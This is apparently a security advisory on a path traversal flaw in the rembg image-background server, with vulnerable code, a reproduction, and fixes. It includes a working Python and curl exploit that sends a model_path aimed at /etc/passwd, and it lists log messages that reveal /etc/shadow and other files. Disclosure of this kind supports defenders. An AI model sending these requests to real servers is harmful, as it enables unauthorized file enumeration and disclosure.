| パッケージ | 影響を受けるバージョン | 修正済みバージョン |
|---|---|---|
| rembg | < 2.0.75 | 2.0.75 |
| rembg | < 2.0.75 | 2.0.75 |
A path traversal vulnerability in the rembg HTTP server allows unauthenticated remote attackers to read arbitrary files from the server's filesystem. By sending a crafted request with a malicious model_path parameter, an attacker can force the server to attempt loading any file as an ONNX model, revealing file existence, permissions, and potentially file contents through error messages.
CWE IDs: CWE-22 (Path Traversal), CWE-73 (External Control of File Name or Path)
The vulnerability exists in how the HTTP server handles the extras JSON parameter for custom model types (u2net_custom, dis_custom, ben_custom).
1. Entry Point - rembg/commands/s_command.py
def im_without_bg(content: bytes, commons: CommonQueryParams) -> Response:
kwargs = {}
if commons.extras:
try:
kwargs.update(json.loads(commons.extras)) # ❌ No validation
except Exception:
pass
# ...
session = new_session(commons.model, **kwargs) # Passes arbitrary kwargs
The extras parameter is parsed as JSON and passed directly to new_session() without any validation.
2. Path Handling - rembg/sessions/u2net_custom.py
@classmethod
def download_models(cls, *args, **kwargs):
model_path = kwargs.get("model_path")
if model_path is None:
raise ValueError("model_path is required")
return os.path.abspath(os.path.expanduser(model_path)) # ❌ No path validation
The model_path is returned with tilde expansion but no validation against path traversal.
3. File Read - rembg/sessions/base.py
self.inner_session = ort.InferenceSession(
str(self.__class__.download_models(*args, **kwargs)), # Reads file
# ...
)
The path is passed to onnxruntime.InferenceSession() which attempts to read and parse the file.
これらの製品をお使いですか?サイトをスキャンして、脆弱なバージョンが公開されていないか確認しましょう。
無料でサイトをスキャンThe custom model feature was designed for CLI usage where users already have local filesystem access. However, this feature is also exposed via the HTTP API without any restrictions, creating a security boundary violation.
pip install "rembg[cpu,cli]"Open a terminal and run:
rembg s --host 0.0.0.0 --port 7000
You should see output like:
To access the API documentation, go to http://localhost:7000/api
To access the UI, go to http://localhost:7000
Open a second terminal and run this Python script:
import requests
import json
import urllib.parse
from io import BytesIO
# Minimal valid 1x1 PNG image (required for the request)
MINIMAL_PNG = bytes([
0x89, 0x50, 0x4E, 0x47, 0x0D, 0x0A, 0x1A, 0x0A,
0x00, 0x00, 0x00, 0x0D, 0x49, 0x48, 0x44, 0x52,
0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01,
0x08, 0x02, 0x00, 0x00, 0x00, 0x90, 0x77, 0x53,
0xDE, 0x00, 0x00, 0x00, 0x0C, 0x49, 0x44, 0x41,
0x54, 0x08, 0xD7, 0x63, 0xF8, 0xFF, 0xFF, 0x3F,
0x00, 0x05, 0xFE, 0x02, 0xFE, 0xDC, 0xCC, 0x59,
0xE7, 0x00, 0x00, 0x00, 0x00, 0x49, 0x45, 0x4E,
0x44, 0xAE, 0x42, 0x60, 0x82
])
# Target paths to test
test_paths = [
"/etc/passwd", # System file (should exist)
"/nonexistent/file.txt", # Non-existent file
]
for path in test_paths:
print(f"\n[*] Testing path: {path}")
# Build request - extras must be in URL query string
extras = json.dumps({"model_path": path})
url = f"http://localhost:7000/api/remove?extras={urllib.parse.quote(extras)}"
response = requests.post(
url,
files={"file": ("test.png", BytesIO(MINIMAL_PNG), "image/png")},
data={"model": "u2net_custom"},
timeout=30
)
print(f" Status: {response.status_code}")
print(f" Response: {response.text[:100]}")
Or use curl directly:
# Create a minimal PNG file
python3 -c "import sys; sys.stdout.buffer.write(bytes([0x89,0x50,0x4E,0x47,0x0D,0x0A,0x1A,0x0A,0x00,0x00,0x00,0x0D,0x49,0x48,0x44,0x52,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x08,0x02,0x00,0x00,0x00,0x90,0x77,0x53,0xDE,0x00,0x00,0x00,0x0C,0x49,0x44,0x41,0x54,0x08,0xD7,0x63,0xF8,0xFF,0xFF,0x3F,0x00,0x05,0xFE,0x02,0xFE,0xDC,0xCC,0x59,0xE7,0x00,0x00,0x00,0x00,0x49,0x45,0x4E,0x44,0xAE,0x42,0x60,0x82]))" > /tmp/test.png
# Send exploit request targeting /etc/passwd
curl -X POST 'http://localhost:7000/api/remove?extras=%7B%22model_path%22%3A%22%2Fetc%2Fpasswd%22%7D' \
-F "model=u2net_custom" \
-F "file=@/tmp/test.png"
Go back to the first terminal where the server is running. You will see error messages like:
onnxruntime.capi.onnxruntime_pybind11_state.InvalidProtobuf:
[ONNXRuntimeError] : 7 : INVALID_PROTOBUF : Load model from /etc/passwd failed:Protobuf parsing failed.
onnxruntime.capi.onnxruntime_pybind11_state.NoSuchFile:
[ONNXRuntimeError] : 3 : NO_SUCHFILE : Load model from /nonexistent/file.txt failed. File doesn't exist
| Server Log Message | What It Proves |
|---|---|
Load model from /etc/passwd failed:Protobuf parsing failed | ✅ File exists and was read by onnxruntime |
Load model from /etc/shadow failed:Permission denied | ✅ File exists but process lacks permission |
Load model from /nonexistent/... failed. File doesn't exist | ✅ File does not exist - enables enumeration |
The key proof: The message "Load model from /etc/passwd failed:Protobuf parsing failed" proves that:
onnxruntime.InferenceSession() attempted to read the file contents/etc/passwd is not a valid ONNX protobufrembg s (HTTP server mode)/etc/passwd, .env, config files)rembg i, rembg p) - users already have local file accessRemove custom model types from the HTTP API session list:
# In s_command.py, filter out custom models
ALLOWED_HTTP_MODELS = [
name for name in sessions_names
if not name.endswith('_custom')
]
# Use ALLOWED_HTTP_MODELS in the model parameter regex
model: str = Query(
regex=r"(" + "|".join(ALLOWED_HTTP_MODELS) + ")",
default="u2net",
)
If custom models must be supported via HTTP:
import os
ALLOWED_MODEL_DIRS = [
os.path.expanduser("~/.u2net"),
"/app/models", # or your designated model directory
]
def validate_model_path(path: str) -> str:
"""Validate model path is within allowed directories."""
abs_path = os.path.abspath(os.path.expanduser(path))
for allowed_dir in ALLOWED_MODEL_DIRS:
allowed_abs = os.path.abspath(allowed_dir)
if abs_path.startswith(allowed_abs + os.sep):
return abs_path
raise ValueError(f"model_path must be within allowed directories")
At minimum, add security warnings to the documentation:
⚠️ **Security Warning**: When running `rembg s` in production:
- Do NOT expose the server directly to the internet
- Use a reverse proxy with authentication
- Consider disabling custom model support